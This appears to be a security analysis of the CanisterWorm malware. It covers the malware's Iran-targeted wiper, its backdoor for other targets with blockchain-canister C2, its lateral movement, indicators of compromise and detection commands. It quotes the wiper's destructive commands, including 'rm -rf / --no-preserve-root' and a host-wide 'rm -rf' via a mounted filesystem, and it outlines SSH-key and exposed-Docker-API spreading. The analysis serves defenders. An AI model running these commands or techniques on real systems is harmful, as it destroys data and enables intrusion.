The CanisterWorm payload uncovered on March 22, 2026 represents a tactical evolution from TeamPCP: geolocation-aware malware that wipes Iranian infrastructure while silently backdooring everyone else. The distinction between targets is made at runtime using timezone and locale checks — and the consequences for each path couldn't be more different.
Geographic Targeting
Before executing, the bash stager downloads kubectl (if unavailable) and fetches kube.py from attacker-controlled infrastructure. The Python script then determines execution path by checking:
/etc/timezoneandtimedatectloutput forAsia/TehranorIran- The
LANGenvironment variable forfa_IR
There are four possible execution paths:
| Environment | Target | Action |
|---|---|---|
| Kubernetes | Iran | Deploy destructive DaemonSet (kamikaze) |
| Kubernetes | Non-Iran | Deploy backdoor DaemonSet (provisioner) |
| Non-Kubernetes | Iran | rm -rf / --no-preserve-root |
| Non-Kubernetes | Non-Iran | Exit silently |
The Wiper (Iranian Targets)
For Iranian Kubernetes clusters, CanisterWorm deploys a DaemonSet called host-provisioner-iran across every node, including the control plane. Each pod runs a privileged container that mounts the host filesystem to /mnt/host and executes:
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {} +
chroot /mnt/host reboot -f
The result is a complete, unrecoverable cluster destruction. No individual node or namespace is spared.
The Backdoor (Everyone Else)
For non-Iranian clusters, a DaemonSet called host-provisioner-std installs a base64-encoded Python backdoor as a systemd user service. The service:
- Drops to
/var/lib/svc_internal/or/var/lib/pgmon/disguised as PostgreSQL monitoring - Polls the ICP blockchain canister
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]ioevery 50 minutes for command URLs - Downloads and executes payloads from attacker-controlled URLs
The ICP canister C2 is decentralized — there is no registrar or hosting provider to take it down. It persists until the canister itself is updated or abandoned.
Lateral Movement
A third-iteration variant adds two spreading mechanisms:
- SSH spread: Parses
/var/log/auth.logfor successful logins, uses stolen private keys to propagate to adjacent machines withStrictHostKeyChecking=no - Docker API spread: Scans the local subnet for Docker APIs exposed on port 2375; creates privileged containers that mount the host root and deliver the payload
Indicators of Compromise
Network:
- C2 canister:
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io - Payload delivery (Cloudflare Tunnel):
souls-entire-defined-routes.trycloudflare[.]com,investigation-launches-hearings-copying.trycloudflare[.]com,championships-peoples-point-cassette.trycloudflare[.]com
Kubernetes:
- DaemonSet names:
host-provisioner-iran,host-provisioner-std - Container names:
kamikaze,provisioner - Namespace:
kube-system
Host filesystem:
/var/lib/svc_internal/runner.py/var/lib/pgmon/pgmon.py/tmp/pglog/tmp/.pg_state
Systemd services:
internal-monitor.servicepgmonitor.service(masquerades as "Postgres Monitor Service")
Detection
# Check for malicious DaemonSets
kubectl get ds -n kube-system
# Verify systemd services
systemctl status internal-monitor pgmonitor
# Look for host-mounted DaemonSet pods
kubectl get pods -n kube-system -o wide | grep -E "provisioner|kamikaze"
The backdoor retains a youtube[.]com kill switch from earlier campaign variants — a URL pattern check that, if present in a fetched command, halts execution. This is not a protection mechanism available to defenders, but it is a useful attribution signal.